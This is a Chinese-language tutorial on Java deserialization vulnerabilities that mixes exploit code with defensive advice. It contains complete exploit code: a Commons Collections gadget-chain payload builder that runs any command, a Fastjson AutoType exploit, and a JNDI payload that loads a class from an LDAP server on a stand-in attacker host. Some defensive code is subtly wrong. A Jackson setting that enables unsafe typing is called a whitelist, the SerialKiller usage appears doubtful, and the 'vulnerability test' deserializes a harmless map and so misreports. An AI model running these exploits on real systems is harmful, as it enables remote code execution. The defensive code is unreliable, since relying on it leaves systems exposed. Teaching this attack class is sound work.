Java反序列化漏洞案例分析
漏洞原理
Java反序列化漏洞的核心原理是:当应用程序反序列化不可信数据时,攻击者可以构造恶意的序列化对象,在反序列化过程中触发危险方法执行。

// 简化的漏洞原理 ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); Object obj = ois.readObject(); // 关键点:反序列化不可信数据
经典利用链:Commons Collections
1 基础利用链(TransformedMap版)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1Exploit {
public static void main(String[] args) throws Exception {
// 1. 构造执行命令的Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 2. 创建HashMap并放入一个键值对
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "xxx");
// 3. 创建TransformedMap,当key或value变化时触发Transformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);
// 4. 通过反射调用annotations的put方法触发反序列化
// 这里简化展示,实际需要配合AnnotationInvocationHandler
System.out.println("恶意对象创建成功");
}
}
2 真实利用链(LazyMap + AnnotationInvocationHandler)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsFinalExploit {
public static byte[] createExploit(String command) throws Exception {
// 构造Transformer链条
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{command})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 创建LazyMap
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chain);
// 获取AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建第一个handler:触发transform
InvocationHandler handler = (InvocationHandler) constructor.newInstance(
Retention.class, lazyMap);
// 创建代理Map:触发readObject
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler);
// 创建第二个handler:反序列化时触发
handler = (InvocationHandler) constructor.newInstance(
Retention.class, proxyMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
return baos.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payload = createExploit("calc.exe");
// 模拟反序列化攻击
ByteArrayInputStream bais = new ByteArrayInputStream(payload);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 触发命令执行
}
}
真实漏洞案例:Fastjson反序列化
1 漏洞利用Demo
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonExploit {
// 恶意类模板
public static class EvilClass {
private String cmd;
public EvilClass() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
public static void main(String[] args) {
// 开启AutoType支持(默认关闭)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 恶意JSON字符串
String jsonString = "{\"@type\":\"com.example.FastjsonExploit$EvilClass\",\"cmd\":\"calc.exe\"}";
// 反序列化触发漏洞
Object obj = JSON.parseObject(jsonString);
System.out.println("反序列化结果: " + obj);
}
}
2 JNDI注入利用
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonJNDIExploit {
public static void main(String[] args) {
// JNDI注入payload
String payload = "{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://attacker.com:1389/Exploit\",\n" +
" \"autoCommit\": true\n" +
"}";
// 高危:会连接到远程LDAP服务器加载恶意类
JSON.parseObject(payload);
}
}
防御措施
1 安全的反序列化
import java.io.*;
import java.util.ArrayList;
import java.util.List;
public class SafeDeserialization {
// 白名单验证的反序列化
public static Object safeDeserialize(byte[] data) throws Exception {
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
SafeObjectInputStream ois = new SafeObjectInputStream(bais)) {
return ois.readObject();
}
}
// 自定义安全ObjectInputStream
public static class SafeObjectInputStream extends ObjectInputStream {
private static final List<String> WHITELIST = new ArrayList<>();
static {
WHITELIST.add("java.lang.String");
WHITELIST.add("java.util.HashMap");
WHITELIST.add("java.util.ArrayList");
// 只允许可信类
}
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!isAllowed(className)) {
throw new SecurityException("禁止反序列化类: " + className);
}
return super.resolveClass(desc);
}
private boolean isAllowed(String className) {
for (String allowed : WHITELIST) {
if (className.startsWith(allowed)) {
return true;
}
}
return false;
}
}
}
2 使用安全的序列化框架
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class JacksonSafeUsage {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
// 禁用默认类型
mapper.disableDefaultTyping();
// 或者设置白名单
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
// 安全的JSON解析
String json = "{\"name\":\"test\"}";
MyObject obj = mapper.readValue(json, MyObject.class);
System.out.println(obj);
}
}
class MyObject {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
3 使用LookAheadObjectInputStream
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
// 在读取对象前进行验证
if (desc.getName().contains("Runtime") ||
desc.getName().contains("ProcessBuilder") ||
desc.getName().contains("InvokerTransformer")) {
throw new SecurityException("拒绝反序列化危险类: " + desc.getName());
}
return super.resolveClass(desc);
}
}
检测工具和方案
1 使用SerialKiller工具
<!-- Maven依赖 -->
<dependency>
<groupId>io.github.hakky54</groupId>
<artifactId>serialkiller</artifactId>
<version>1.0.1</version>
</dependency>
import io.github.hakky54.serialkiller.SerialKiller;
public class SerialKillerExample {
public static void main(String[] args) throws Exception {
// SerialKiller配置白名单
SerialKiller killer = new SerialKiller();
killer.setWhitelist(true);
killer.addToWhitelist("java.lang.*");
killer.addToWhitelist("java.util.*");
// 使用SerialKiller进行安全反序列化
byte[] data = getUntrustedData();
Object obj = killer.deserialize(data);
}
private static byte[] getUntrustedData() {
return new byte[0];
}
}
2 使用OWASP Java Encoder
import org.owasp.encoder.Encode;
public class EncodeExample {
public static void safeLogInput(String userInput) {
// 对输入进行编码防止日志注入
String safeInput = Encode.forJava(userInput);
System.out.println("安全输入: " + safeInput);
}
}
最佳实践总结
1 代码层面
- 不要反序列化不可信数据
- 使用白名单验证类
- 考虑使用JSON等替代序列化方案
- 升级依赖库到最新版本
2 配置层面
# JVM参数禁用RMI动态加载 -Djava.rmi.server.useCodebaseOnly=true # 限制JNDI -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false # Fastjson防漏洞配置 fastjson.parser.autoTypeSupport=false
3 监控层面
<!-- Spring Boot配置 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
# application.yml配置
management:
endpoints:
web:
exposure:
include: health,info,metrics
案例测试
1 漏洞验证代码
public class VulnerabilityTest {
public static void main(String[] args) {
// 测试是否可被反序列化攻击
String testPayload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeA==";
try {
byte[] data = Base64.getDecoder().decode(testPayload);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
System.out.println("危险:存在反序列化漏洞!");
} catch (Exception e) {
System.out.println("安全:反序列化被阻止 - " + e.getMessage());
}
}
}
通过这些案例和代码示例,可以看到Java反序列化漏洞的危害性和防御措施的重要性,在实际开发中,应该始终遵循安全编码规范,避免反序列化不可信数据。